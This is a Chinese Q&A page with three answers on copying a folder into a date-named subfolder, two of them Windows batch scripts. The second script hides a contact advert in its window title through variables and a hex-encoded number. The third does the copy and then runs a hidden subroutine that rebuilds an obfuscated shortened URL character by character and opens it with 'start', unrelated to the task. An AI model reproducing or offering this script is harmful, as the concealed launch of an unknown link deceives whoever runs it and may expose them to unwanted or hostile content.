...B文件夹下以当前系统日期如2020-06-01文件夹中?

发布网友

我来回答

3个回答

热心网友

Windows 操作系统:直接在源文件夹名字(A)上点右键,然后选择“复制”,然后到目标文件夹(2020-06-01),点右键,选择“粘贴” 即可。
DOS命令 :COPY D:\A E:\B\2002-06-01 (默认是不包括A中的子文件夹的)

热心网友

以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echo off
rem 将一个指定文件夹里的文件和子文件夹拷贝/复制到另一个文件夹内以当天日期命名的子文件夹里
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
set "oldfolder=D:\A"
set "newfolder=E:\B"
if not exist "%oldfolder%" (echo;"%oldfolder%" not found&pause&exit)
for /f "tokens=2 delims==." %%a in ('wmic OS get LocalDateTime /value^|find "="') do set d=%%a
set today=%d:~,4%-%d:~4,2%-%d:~6,2%
if defined d (
xcopy "%oldfolder%" "%newfolder%\%today%\" /e /h /q /y
)
echo;%#% +%$%%$%/%@% %z%
pause
exit

热心网友

@echo off & title 拷贝目录到当前日期目录中 By 依梦琴瑶

::设置A目录
set A=D:\A

::设置B目录
set B=E:\B

set "nowDATE=%date:~,10%"
set "nowDATE=%nowDATE:/=-%"
xcopy /s /e /y "%A%" "%B%\%nowDATE%\"
pause

call :Don
exit
:Don
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%
exit

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com